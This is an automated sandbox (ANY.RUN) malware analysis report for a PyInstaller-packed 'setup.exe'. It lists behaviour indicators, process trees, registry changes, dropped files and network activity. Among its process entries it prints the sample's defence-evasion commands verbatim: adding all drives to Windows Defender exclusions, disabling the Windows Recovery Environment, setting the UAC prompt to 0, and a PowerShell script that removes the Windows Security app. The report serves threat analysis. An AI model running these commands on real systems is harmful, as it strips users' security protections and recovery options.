File name:

setup.exe

Full analysis: https://app.any.run/tasks/72922da6-c762-476f-8cf1-a46cb4bb98ef
Verdict: Malicious activity
Analysis date: June 18, 2025, 07:05:05
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
auto
generic
python
pyinstaller
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32+ executable (GUI) x86-64, for MS Windows, 7 sections
MD5:

FD100EC6F3DD7FC22BE320A984E1AA7D

SHA1:

2DD31BF4813DC0E273FA5210C442D68876002F28

SHA256:

F16DF2BC688EE1E31CFD4040DED359006C73092FDC310FBD7A9BA4C023085CCC

SSDEEP:

98304:SShDa+jhZu8M4HmOVWjtKxgADpN25hAp42NAOQmMYS32afU9tto10wFsBRAbYpBL:4Xwa8YCp3pIwuuT

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executing a file with an untrusted certificate

      • setup.exe (PID: 6312)
      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)
      • setup.exe (PID: 4824)

    • GENERIC has been found (auto)

      • setup.exe (PID: 6852)

    • Adds process to the Windows Defender exclusion list

      • setup.exe (PID: 4824)

    • Changes Windows Defender settings

      • setup.exe (PID: 4824)

    • Starts REAGENTC.EXE to disable the Windows Recovery Environment

      • ReAgentc.exe (PID: 2524)

  • SUSPICIOUS

    • Loads Python modules

      • setup.exe (PID: 6312)
      • setup.exe (PID: 4824)

    • Application launched itself

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)

    • Executable content was dropped or overwritten

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)
      • powershell.exe (PID: 6404)
      • Dism.exe (PID: 4156)
      • Dism.exe (PID: 6428)
      • Dism.exe (PID: 1332)

    • Process drops legitimate windows executable

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)

    • Process drops python dynamic module

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)

    • The process drops C-runtime libraries

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)

    • The process checks if current user has admin rights

      • setup.exe (PID: 6312)
      • setup.exe (PID: 4824)

    • Starts POWERSHELL.EXE for commands execution

      • setup.exe (PID: 6312)
      • setup.exe (PID: 4824)

    • Checks a user's role membership (POWERSHELL)

      • powershell.exe (PID: 4892)
      • powershell.exe (PID: 4084)

    • Starts process via Powershell

      • powershell.exe (PID: 7060)

    • Uses REG/REGEDIT.EXE to modify registry

      • powershell.exe (PID: 4684)

    • Script adds exclusion path to Windows Defender

      • setup.exe (PID: 4824)

    • Script adds exclusion process to Windows Defender

      • setup.exe (PID: 4824)

    • Returns all items found within a container (POWERSHELL)

      • powershell.exe (PID: 6404)

    • There is functionality for taking screenshot (YARA)

      • setup.exe (PID: 1760)
      • setup.exe (PID: 4824)

    • Detected use of alternative data streams (AltDS)

      • powershell.exe (PID: 6404)

    • The process creates files with name similar to system file names

      • powershell.exe (PID: 6404)
      • Dism.exe (PID: 4156)
      • Dism.exe (PID: 6428)
      • Dism.exe (PID: 1332)

    • Hides errors and continues executing the command without stopping

      • powershell.exe (PID: 2032)

    • Starts a Microsoft application from unusual location

      • DismHost.exe (PID: 3588)
      • DismHost.exe (PID: 2976)
      • DismHost.exe (PID: 3960)
      • DismHost.exe (PID: 516)

    • Removes files via Powershell

      • powershell.exe (PID: 7104)

  • INFO

    • Reads the machine GUID from the registry

      • setup.exe (PID: 6312)
      • setup.exe (PID: 4824)

    • Create files in a temporary directory

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)
      • powershell.exe (PID: 6404)
      • Dism.exe (PID: 4156)
      • Dism.exe (PID: 6428)
      • Dism.exe (PID: 1332)

    • The sample compiled with english language support

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)
      • powershell.exe (PID: 6404)
      • Dism.exe (PID: 4156)
      • Dism.exe (PID: 6428)
      • Dism.exe (PID: 1332)

    • Reads the computer name

      • setup.exe (PID: 6852)
      • setup.exe (PID: 1760)
      • DismHost.exe (PID: 3960)
      • DismHost.exe (PID: 3588)
      • DismHost.exe (PID: 2976)

    • Checks supported languages

      • setup.exe (PID: 6852)
      • setup.exe (PID: 6312)
      • setup.exe (PID: 1760)
      • setup.exe (PID: 4824)
      • DismHost.exe (PID: 3960)
      • DismHost.exe (PID: 3588)
      • DismHost.exe (PID: 2976)
      • DismHost.exe (PID: 516)

    • The executable file from the user directory is run by the Powershell process

      • setup.exe (PID: 1760)

    • Checks if a key exists in the options dictionary (POWERSHELL)

      • powershell.exe (PID: 2032)

    • Changes the registry key values via Powershell

      • setup.exe (PID: 4824)

    • Returns hidden items found within a container (POWERSHELL)

      • powershell.exe (PID: 6404)
      • conhost.exe (PID: 5372)
      • conhost.exe (PID: 1056)
      • conhost.exe (PID: 4156)
      • powershell.exe (PID: 7104)

    • PyInstaller has been detected (YARA)

      • setup.exe (PID: 1760)
      • setup.exe (PID: 4824)

    • Reads the software policy settings

      • powershell.exe (PID: 6404)
      • slui.exe (PID: 4960)

    • Reads security settings of Internet Explorer

      • powershell.exe (PID: 6404)

    • Reads Environment values

      • DismHost.exe (PID: 3960)
      • DismHost.exe (PID: 3588)
      • DismHost.exe (PID: 2976)
      • DismHost.exe (PID: 516)

    • Returns all items recursively from all subfolders (POWERSHELL)

      • powershell.exe (PID: 7104)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (87.3)
.exe | Generic Win/DOS Executable (6.3)
.exe | DOS Executable Generic (6.3)

EXIF

EXE

MachineType: AMD AMD64
TimeStamp: 2025:01:11 16:20:26+00:00
ImageFileCharacteristics: Executable, Large address aware
PEType: PE32+
LinkerVersion: 14.35
CodeSize: 171008
InitializedDataSize: 94208
UninitializedDataSize: -
EntryPoint: 0xc200
OSVersion: 5.2
ImageVersion: -
SubsystemVersion: 5.2
Subsystem: Windows GUI
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
173
Monitored processes
32
Malicious processes
6
Suspicious processes
1

Behavior graph

Click at the process to see the details
start setup.exe setup.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs setup.exe setup.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs reg.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe conhost.exe no specs dismhost.exe dism.exe dismhost.exe dism.exe dismhost.exe dism.exe dismhost.exe powershell.exe no specs conhost.exe no specs reagentc.exe no specs powershell.exe no specs conhost.exe no specs slui.exe

Process information

PID
CMD
Path
Indicators
Parent process
516C:\Users\admin\AppData\Local\Temp\2AC36299-DBC6-4FE7-A826-7F680687F7F8\dismhost.exe {6208CEE4-A346-4463-A0A2-11D8B0143406}C:\Users\admin\AppData\Local\Temp\2AC36299-DBC6-4FE7-A826-7F680687F7F8\DismHost.exe
Dism.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Dism Host Servicing Process
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\appdata\local\temp\2ac36299-dbc6-4fe7-a826-7f680687f7f8\dismhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
1056\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1204powershell -Command "reagentc /disable"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—setup.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
1332"C:\WINDOWS\system32\Dism.exe" /online /set-nonremovableapppolicy /packagefamily:Microsoft.Windows.SecHealthUI_cw5n1h2txyewy /nonremovable:0C:\Windows\System32\Dism.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Dism Image Servicing Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\dism.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
1760"C:\Users\admin\AppData\Local\Temp\setup.exe" C:\Users\admin\AppData\Local\Temp\setup.exe
powershell.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\setup.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
2032powershell -Command "foreach ($driveLetter in 'C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z') { Add-MpPreference -ExclusionPath ${driveLetter}:\ -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess ${driveLetter}:\* -ErrorAction SilentlyContinue }"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—setup.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
2524"C:\WINDOWS\system32\ReAgentc.exe" /disableC:\Windows\System32\ReAgentc.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Microsoft Windows Recovery Agent
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\reagentc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
2804\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2976C:\Users\admin\AppData\Local\Temp\2442E812-11B8-4A7E-B098-3A49940762EC\dismhost.exe {35EF2486-0F11-4941-BC95-2D091FBEE8BF}C:\Users\admin\AppData\Local\Temp\2442E812-11B8-4A7E-B098-3A49940762EC\DismHost.exe
Dism.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Dism Host Servicing Process
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\appdata\local\temp\2442e812-11b8-4a7e-b098-3a49940762ec\dismhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ole32.dll
3092\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
42 433
Read events
42 356
Write events
12
Delete events
65

Modification events

(PID) Process:(6980) reg.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\PushNotifications
Operation:writeName:ToastEnabled
Value:
0
(PID) Process:(6004) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Operation:writeName:ConsentPromptBehaviorAdmin
Value:
0
(PID) Process:(3588) DismHost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Appx\EnterpriseUninstallBlockList
Operation:delete valueName:Microsoft.Windows.SecHealthUI_cw5n1h2txyewy
Value:
(PID) Process:(6404) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deprovisioned\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy
Operation:delete keyName:(default)
Value:
(PID) Process:(2976) DismHost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Appx\EnterpriseUninstallBlockList
Operation:delete valueName:Microsoft.Windows.SecHealthUI_cw5n1h2txyewy
Value:
(PID) Process:(516) DismHost.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Appx\EnterpriseUninstallBlockList
Operation:delete valueName:Microsoft.Windows.SecHealthUI_cw5n1h2txyewy
Value:
(PID) Process:(2524) ReAgentc.exeKey:HKEY_LOCAL_MACHINE\BCD00000000\Objects\{9dea862c-5cdd-4e70-acc1-f32b344d4795}\Elements\11000001
Operation:delete keyName:(default)
Value:
(PID) Process:(2524) ReAgentc.exeKey:HKEY_LOCAL_MACHINE\BCD00000000\Objects\{9dea862c-5cdd-4e70-acc1-f32b344d4795}\Elements\11000001
Operation:writeName:Element
Value:
0000000000000000000000000000000006000000000000004800000000000000715E5C2FA985EB1190A89A9B763584210000000000000000745E5C2FA985EB1190A89A9B7635842100000000000000000000000000000000
(PID) Process:(2524) ReAgentc.exeKey:HKEY_LOCAL_MACHINE\BCD00000000\Objects\{9dea862c-5cdd-4e70-acc1-f32b344d4795}\Elements\12000002
Operation:delete keyName:(default)
Value:
(PID) Process:(2524) ReAgentc.exeKey:HKEY_LOCAL_MACHINE\BCD00000000\Objects\{9dea862c-5cdd-4e70-acc1-f32b344d4795}\Elements\12000002
Operation:writeName:Element
Value:
\EFI\Microsoft\Boot\bootmgfw.efi
Executable files
330
Suspicious files
3
Text files
23
Unknown types
1

Dropped files

PID
Process
Filename
Type
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_queue.pydexecutable
MD5:D8C1B81BBC125B6AD1F48A172181336E
SHA256:925F05255F4AAE0997DC4EC94D900FD15950FD840685D5B8AA755427C7422B14
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_bz2.pydexecutable
MD5:86D1B2A9070CD7D52124126A357FF067
SHA256:62173A8FADD4BF4DD71AB89EA718754AA31620244372F0C5BBBAE102E641A60E
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_ssl.pydexecutable
MD5:7910FB2AF40E81BEE211182CFFEC0A06
SHA256:D2A7999E234E33828888AD455BAA6AB101D90323579ABC1095B8C42F0F723B6F
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_hashlib.pydexecutable
MD5:D4674750C732F0DB4C4DD6A83A9124FE
SHA256:CAA4D2F8795E9A55E128409CC016E2CC5C694CB026D7058FC561E4DD131ED1C9
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_lzma.pydexecutable
MD5:7447EFD8D71E8A1929BE0FAC722B42DC
SHA256:60793C8592193CFBD00FD3E5263BE4315D650BA4F9E4FDA9C45A10642FD998BE
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\api-ms-win-core-console-l1-1-0.dllexecutable
MD5:E075B4FD5BDC7BA20F82E9EFA5D29044
SHA256:AB7BFF07CED56AB79895F7749F5DBA20BE8DBC8370B373D9B98178DF99B91854
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_ctypes.pydexecutable
MD5:1635A0C5A72DF5AE64072CBB0065AEBE
SHA256:1EA3DD3DF393FA9B27BF6595BE4AC859064CD8EF9908A12378A6021BBA1CB177
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_socket.pydexecutable
MD5:819166054FEC07EFCD1062F13C2147EE
SHA256:E6DEB751039CD5424A139708475CE83F9C042D43E650765A716CB4A924B07E4F
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\VCRUNTIME140.dllexecutable
MD5:F34EB034AA4A9735218686590CBA2E8B
SHA256:9D2B40F0395CC5D1B4D5EA17B84970C29971D448C37104676DB577586D4AD1B1
6852setup.exeC:\Users\admin\AppData\Local\Temp\_MEI68522\_multiprocessing.pydexecutable
MD5:A9A0588711147E01EED59BE23C7944A9
SHA256:7581EDEA33C1DB0A49B8361E51E6291688601640E57D75909FB2007B2104FA4C
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
24
DNS requests
17
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2120
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
2.16.241.12:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
2120
SIHClient.exe
GET
200
95.101.149.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
2940
svchost.exe
GET
200
23.209.209.135:80
http://x1.c.lencr.org/
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
2.23.246.101:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
3768
svchost.exe
GET
200
2.23.77.188:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
5944
MoUsoCoreWorker.exe
20.73.194.208:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1268
svchost.exe
20.73.194.208:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6936
RUXIMICS.exe
20.73.194.208:443
—
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1268
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1268
svchost.exe
2.16.241.12:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
1268
svchost.exe
2.23.246.101:80
www.microsoft.com
Ooredoo Q.S.C.
QA
whitelisted
5944
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2120
SIHClient.exe
20.109.210.53:443
slscr.update.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
US
whitelisted

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.186.46
whitelisted
settings-win.data.microsoft.com
  • 51.124.78.146
whitelisted
crl.microsoft.com
  • 2.16.241.12
  • 2.16.241.19
whitelisted
www.microsoft.com
  • 2.23.246.101
  • 95.101.149.131
whitelisted
slscr.update.microsoft.com
  • 20.109.210.53
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.85.23.206
whitelisted
login.live.com
  • 40.126.32.134
  • 40.126.32.74
  • 40.126.32.138
  • 20.190.160.17
  • 40.126.32.76
  • 20.190.160.67
  • 20.190.160.65
  • 20.190.160.131
whitelisted
ocsp.digicert.com
  • 2.23.77.188
whitelisted
client.wns.windows.com
  • 172.211.123.250
whitelisted
activation-v2.sls.microsoft.com
  • 20.83.72.98
  • 40.91.76.224
whitelisted

Threats

No threats detected
Process
Message
powershell.exe
PID=6404 TID=5504 DismApi.dll: - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 Lookup in table by path failed for: DummyPath-2BA51B78-C7F7-4910-B99D-BB7345357CDC - CTransactionalImageTable::LookupImagePath
powershell.exe
PID=6404 TID=5504 Enter DismInitializeInternal - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 Initialized SessionTable - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 DismApi.dll: <----- Starting DismApi.dll session -----> - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 DismApi.dll: - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 Input parameters: LogLevel: 2, LogFilePath: C:\WINDOWS\Logs\DISM\dism.log, ScratchDirectory: (null) - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 DismApi.dll: Parent process command line: powershell -Command " $remove_appx = @(\"SecHealthUI\") $provisioned = Get-AppxProvisionedPackage -Online $appxpackage = Get-AppxPackage -AllUsers $eol = @() $store = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore' $users = @('S-1-5-18') if (Test-Path $store) { $users += $((Get-ChildItem $store -ea 0 | Where-Object { $_ -like '*S-1-5-21*' }).PSChildName) } foreach ($choice in $remove_appx) { if ('' -eq $choice.Trim()) { continue } foreach ($appx in $($provisioned | Where-Object { $_.PackageName -like \"*$choice*\" })) { $PackageName = $appx.PackageName $PackageFamilyName = ($appxpackage | Where-Object { $_.Name -eq $appx.DisplayName }).PackageFamilyName New-Item -Path \"$store\Deprovisioned\$PackageFamilyName\" -Force | Out-Null foreach ($sid in $users) { New-Item -Path \"$store\EndOfLife\$sid\$PackageName\" -Force | Out-Null } $eol += $PackageName dism /online /set-nonremovableapppolicy /packagefamily:$PackageFamilyName /nonremovable:0 | Out-Null Remove-AppxProvisionedPackage -PackageName $PackageName -Online -AllUsers | Out-Null } foreach ($appx in $($appxpackage | Where-Object { $_.PackageFullName -like \"*$choice*\" })) { $PackageFullName = $appx.PackageFullName New-Item -Path \"$store\Deprovisioned\$($appx.PackageFamilyName)\" -Force | Out-Null foreach ($sid in $users) { New-Item -Path \"$store\EndOfLife\$sid\$PackageFullName\" -Force | Out-Null } $eol += $PackageFullName dism /online /set-nonremovableapppolicy /packagefamily:$($appx.PackageFamilyName) /nonremovable:0 | Out-Null Remove-AppxPackage -Package $PackageFullName -AllUsers | Out-Null } } " - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 DismApi.dll: API Version 10.0.19041.3758 - DismInitializeInternal
powershell.exe
PID=6404 TID=5504 DismApi.dll: Host machine information: OS Version=10.0.19045, Running architecture=amd64, Number of processors=4 - DismInitializeInternal
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
setup.exe